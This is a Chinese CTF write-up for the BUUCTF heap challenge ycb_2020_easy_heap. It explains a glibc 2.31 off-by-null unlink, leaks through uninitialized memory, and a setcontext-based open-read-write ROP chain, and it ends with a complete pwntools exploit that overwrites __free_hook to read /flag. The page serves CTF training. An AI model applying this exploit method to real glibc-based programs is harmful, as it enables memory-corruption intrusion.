(BUUCTF)ycb_2020_easy_heap (glibc2.31的off-by-null + orw)

2024-01-14 19:20

本文主要是介绍(BUUCTF)ycb_2020_easy_heap (glibc2.31的off-by-null + orw),希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • 前置知识
  • 整体思路
    • 高版本的off-by-null
    • orw
  • exp

前置知识

  • 未初始化内存导致的地址泄露

  • 高版本下的off-by-null利用

  • glibc2.31下的orw做法

整体思路

非常综合的一道题目,和ciscn之前做过的一道silverwolf很相似,本道题目的glibc2.31的环境也让我这个只做过glibc2.27下的学到了很多。

分析程序,开启了沙盒,只禁用了execve

存在一个off-by-null可以利用。此外本题是addedit分开的,而且没有对申请到的内存清零,那么可以直接泄露想要的libcheap地址。

这道题目我认为可以分为三个部分,每一个部分都非常有意思:

  • 通过未初始化内存泄露libc地址和堆地址:
  • 通过高版本的off-by-null来获得重叠指针
  • 通过setcontext+61和一个rdxgadget结合使用,来orw读取flag

这里我不会直接分析这个题目的做法,因为我认为这个题的每个部分对于刚接触这部分知识的师傅们有难度,但是熟悉了就比较白给,因此我会略微介绍每个部分的知识点,并放上参考文章,主要针对off-by-nullorw

假如师傅们有疑问,欢迎私信我: )。

高版本的off-by-null

构造如下图所示:

image-20240113164151315

可能比较难以理解,我们详细、分步地解释:

注意,若我没有写对某个堆块free,那么它没有free。此外,我们需要提前泄露堆地址,保证每个堆块地址可知。

我们有三个chunk,分别是chunk1chunk2chunk3,其中chunk3是个large chunk,大小为0x500,另外两个为大小为0x30chunk

  • 我们通过chunk2chunk3prev_size等于0x50,并off-by-nullchunk3prev_in_use置为0
  • 正常情况的unlink我们需要知道一个指向合并后堆块的指针,那么我们在chunk2中写一个合并后堆块的地址,也就是在addr2处写一个addr1
  • chunk1中构造fake chunkfake chunksizefake chunk + chunk2的大小,这里为0x51
  • fake chunkfdaddr2-0x18,而bkaddr2-0x10,因为addr2存放的是它自己的地址,是个指向它自己的指针,绕过unlink安全检查。
  • freechunk3,此时通过chunk3prev_size来找到fake chunk,将fake chunk进行unlink,从而导致chunk1-3合并为一个。
  • 还需要注意的就是,glibc2.29下,从tcache中获得chunk还会检查对应tcache bincount是否大于0,大于0才可以申请。因此需要事先释放一个对应大小的chunk
  • 此时三个chunk会合并到fake chunk的位置而不是chunk1的位置。申请回一个大于fake chunk + chunk1大小的chunk,即可编辑chunk2,获得了chunk2的重叠指针。

参考文章:

高版本libc下的off by null_glibc高版本offbynull模板-CSDN博客

【八芒星计划】 OFF BY NULL_balsn_ctf_2019-plaintext-CSDN博客

BUUCTF\ ycb_2020_easy_heap - LynneHuan - 博客园 (cnblogs.com)

orw

【八芒星计划】 ORW-CSDN博客

setcontext+orw - 狒猩橙 - 博客园 (cnblogs.com)

[原创]CISCN2021 sliverwolf PWN400-Pwn-看雪-安全社区|安全招聘|kanxue.com****

exp

from pwn import *
from LibcSearcher import *filename = './ycb_2020_easy_heap'
context(log_level='debug')
local = 0
all_logs = []
elf = ELF(filename)
libc = elf.libcif local:sh = process(filename)
else:sh = remote('node5.buuoj.cn', 28219)def debug():for an_log in all_logs:success(an_log)pid = util.proc.pidof(sh)[0]gdb.attach(pid)pause()choice_words = 'Choice:'menu_add = 1
add_index_words = ''
add_size_words = 'Size: '
add_content_words = ''menu_del = 3
del_index_words = 'Index: 'menu_show = 4
show_index_words = 'Index: 'menu_edit = 2
edit_index_words = 'Index: '
edit_size_words = ''
edit_content_words = 'Content: \n'def add(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_add))if add_index_words:sh.sendlineafter(add_index_words, str(index))if add_size_words:sh.sendlineafter(add_size_words, str(size))if add_content_words:sh.sendafter(add_content_words, content)def delete(index=-1):sh.sendlineafter(choice_words, str(menu_del))if del_index_words:sh.sendlineafter(del_index_words, str(index))def show(index=-1):sh.sendlineafter(choice_words, str(menu_show))if show_index_words:sh.sendlineafter(show_index_words, str(index))def edit(index=-1, size=-1, content=''):sh.sendlineafter(choice_words, str(menu_edit))if edit_index_words:sh.sendlineafter(edit_index_words, str(index))if edit_size_words:sh.sendlineafter(edit_size_words, str(size))if edit_content_words:sh.sendafter(edit_content_words, content)def leak_info(name, addr):output_log = '{} => {}'.format(name, hex(addr))all_logs.append(output_log)success(output_log)# -- 第一部分,泄露堆地址和libc地址 --add(size=0x20) # 0
add(size=0x20) # 1
delete(index=0)
delete(index=1)
add(size=0x20) # 0
show(index=0)
sh.recvuntil('Content: ')
heap_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('heap_leak', heap_leak)
heap_base = heap_leak - 0x2a0
leak_info('heap_base', heap_base)
add(size=0x20) # 1add(size=0x450) # 2
add(size=0x20) # 3
delete(index=2)
add(size=0x450) # 2
show(index=2)
sh.recvuntil('Content: ')
libc_leak = u64(sh.recv(6).ljust(8, b'\x00'))
leak_info('libc_leak', libc_leak)
libc.address = libc_leak - 0x1eabe0
leak_info('libc.address', libc.address)# -- 第二部分,通过off-by-null构造unlink --
add(size=0x28) # 4
add(size=0x28) # 5
add(size=0x4f0) # 6
add(size=0x20) # 7fake_chunk_addr = heap_base + 0x790
merge_addr = heap_base + 0x7c0payload = p64(0) + p64(0x51) + p64(merge_addr - 0x18) + p64(merge_addr - 0x10)
edit(index=4, content=payload)payload = p64(fake_chunk_addr).ljust(0x20, b'\x00') + p64(0x50)
edit(index=5, content=payload)delete(index=7) # 提前释放一个大小为0x30的chunk,因为glibc2.30中不允许tcache的count为0时从tcache中申请chunk
delete(index=6) # 触发off-by-null的unlink# -- 第三部分,重新申请回chunk,构造重叠指针,利用重叠指针修改free_hook为rdx的gadget,然后布置一系列堆块备用
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
add(size=0x100) # 6
payload = b'a'*0x18 + p64(0x31)
edit(index=6, content=payload)
delete(index=5)
payload = b'a'*0x18 + p64(0x31) + p64(libc.sym['__free_hook'])
edit(index=6, content=payload)
add(size=0x28) # 5
add(size=0x28) # 7, free_hook
add(size=0x430) # 8
add(size=0xf0) # 9
add(size=0xf0) # 10# -- 第四部分,将free_hook设置为这个gadget,通过这个gadget将rdx设置为另一个堆块地址,另一个堆块地址存放各个寄存器的值,同时rip设置为setcontext+61
# mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
gadget_addr = libc.address + 0x154b90
orw_addr = heap_base + 0x8b0
setcontext = libc.sym['setcontext'] + 61
delete_chunk_addr = heap_base + 0xd20
set_chunk_addr = heap_base + 0xe20
ret_addr = libc.address + 0xbfb1bedit(index=7, content=p64(gadget_addr))
edit(index=5, content=b'/flag\x00')payload = p64(0) + p64(set_chunk_addr)
edit(index=9, content=payload)payload = b'\x00'.ljust(0x20, b'\x00') + p64(setcontext)
payload = payload.ljust(0xa0, b'\x00') + p64(orw_addr) + p64(ret_addr)
edit(index=10, content=payload)pop_rax = 0x28ff4 + libc.address
pop_rdi = 0x26bb2 + libc.address
pop_rsi = 0x2709c + libc.address
pop_rdx_r12 = 0x11c421 + libc.address
syscall_addr_ret = 0x66199 + libc.address
str_flag_addr = heap_base + 0x7c0orw = p64(pop_rax) + p64(2) + p64(pop_rdi) + p64(str_flag_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx_r12) + p64(0)*2 + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(0) + p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)
orw += p64(pop_rax) + p64(1) + p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(str_flag_addr) + p64(pop_rdx_r12) + p64(0x30) + p64(0) + p64(syscall_addr_ret)edit(index=8, content=orw)
delete(index=9)
print(sh.recv().strip().decode())

这篇关于(BUUCTF)ycb_2020_easy_heap (glibc2.31的off-by-null + orw)的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/606245

相关文章

usaco 1.3 Mixing Milk (结构体排序 qsort) and hdu 2020(sort)

到了这题学会了结构体排序 于是回去修改了 1.2 milking cows 的算法~ 结构体排序核心: 1.结构体定义 struct Milk{int price;int milks;}milk[5000]; 2.自定义的比较函数,若返回值为正,qsort 函数判定a>b ;为负,a<b;为0,a==b; int milkcmp(const void *va,c

BUUCTF靶场[web][极客大挑战 2019]Http、[HCTF 2018]admin

目录   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 [web][HCTF 2018]admin 考点:弱密码字典爆破 四种方法:   [web][极客大挑战 2019]Http 考点:Referer协议、UA协议、X-Forwarded-For协议 访问环境 老规矩,我们先查看源代码

BUUCTF(34)特殊的 BASE64

使用pycharm时,如果想把代码撤销到之前的状态可以用 Ctrl+z 如果不小心撤销多了,可以用 Ctrl+Shift+Z 还原, 别傻傻的重新敲了 BUUCTF在线评测 (buuoj.cn) 查看字符串,想到base64的变表 这里用的c++的标准程序库中的string,头文件是#include<string> 这是base64的加密函数 std::string

LibSVM学习(六)——easy.py和grid.py的使用

我们在“LibSVM学习(一)”中,讲到libSVM有一个tools文件夹,里面包含有四个python文件,是用来对参数优选的。其中,常用到的是easy.py和grid.py两个文件。其实,网上也有相应的说明,但很不系统,下面结合本人的经验,对使用方法做个说明。        这两个文件都要用python(可以在http://www.python.org上下载到,需要安装)和绘图工具gnup

【CTF Web】BUUCTF Upload-Labs-Linux Pass-13 Writeup(文件上传+PHP+文件包含漏洞+PNG图片马)

Upload-Labs-Linux 1 点击部署靶机。 简介 upload-labs是一个使用php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。 注意 1.每一关没有固定的通关方法,大家不要自限思维! 2.本项目提供的writeup只是起一个参考作用,希望大家可以分享出自己的通关思路

Cannot read property ‘length‘ of null while opening vscode terminal

同一问题地址:Cannot read property ‘length’ of null while opening vscode terminal 问题描述 One day, 我在ubuntu 18.04下用vscode打开一个项目,并想和往常一样在vscode使用终端,发现报错Cannot read property 'length' of null。 解决 打开setting.jso

非空约束(Not Null)

修改表添加非空约束 使用DDL语句添加非空约束 ALTER TABLE 表名 MODIFY 列名 类型 NOT NULL; 示例: 向emp表中的salary添加非空约束。 alter table emp modify salary float(8,2) not NULL; 删除非空约束 使用DDL语句删除非空约束 ALTER TABLE 表名 MODIFY 列名 类型 NULL;

FORM的ENCTYPE=multipart/form-data 时request.getParameter()值为null问题的解决

此情况发生于前台表单传送至后台java servlet处理: 问题:当Form需要FileUpload上传文件同时上传表单其他控件数据时,由于设置了ENCTYPE=”multipart/form-data” 属性,后台request.getParameter()获取的值为null 上传文件的参考代码:http://www.runoob.com/jsp/jsp-file-uploading.ht

Java中Map取值转String Null值处理

Map<String, Object> 直接取值转String String value = (String)map.get("key") 当map.get(“key”)为Null值时会报错。 使用String类的valueOf静态方法可以解决这个问题 String value = String.valueOf(map.get("key"))

11991 - Easy Problem from Rujia Liu?

题意: 输入一串整型数列,再输入两个数k,v,输出第k个v的序号。不存在则输出0,如第一个样例 8 41 3 2 2 4 3 2 11 3 //第1个3,序号为2,输出22 4 //第2个4,不存在,输出03 2 //第3个2,序号为7,输出74 2 思路: struct num {